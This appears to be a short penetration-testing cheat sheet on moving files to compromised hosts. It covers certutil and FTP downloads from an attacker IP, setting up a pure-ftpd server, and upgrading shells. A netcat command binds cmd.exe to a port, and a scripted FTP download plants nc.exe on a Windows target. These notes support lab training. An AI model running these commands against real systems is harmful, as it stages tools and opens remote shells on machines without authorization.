File transfers
// File Transfers
// CertUtil
certutil.exe -urlcache -f http://10.10.10.10/file.txt file.txt
// HTTP server
python -m SimpleHTTPServer 80
// Browser
// navigate directly to the file
// FTP
python -m pyftpdlib 21 (attacking machine)
ftp 10.10.10.10
// Linux we can simply use wget
// File transfer notes
sudo apt update && sudo apt -y install pure-ftpd
cat setup-ftp.sh
groupapp ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDb 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
systemctl restart pure-ftpd
non-interactive shell (lack useful features like tab control etc and don't get std output)
interactive (requires interaction)
Upgrading a non-interactive shell
python -c 'import pty; pty.spawn("/bin/bash")'
transferring files with windows hosts
non-interactive ftp download
nc.exe -lvnp 4444 -e cmd.exe
sudo cp /usr/share/windows-resources/binaries/nc.exe /ftphome/
sudo systemctl restart pure-ftpd
echo open 1.2.3.4 21>ftp.txt
echo USER test >>ftp.txt
echo lab >>ftp.txt
echo bin >>ftp.txt
echo GET nc.exe >>ftp.txt
echo bye >>ftp.txt
ftp -v -n -s:ftp.txt
Last updated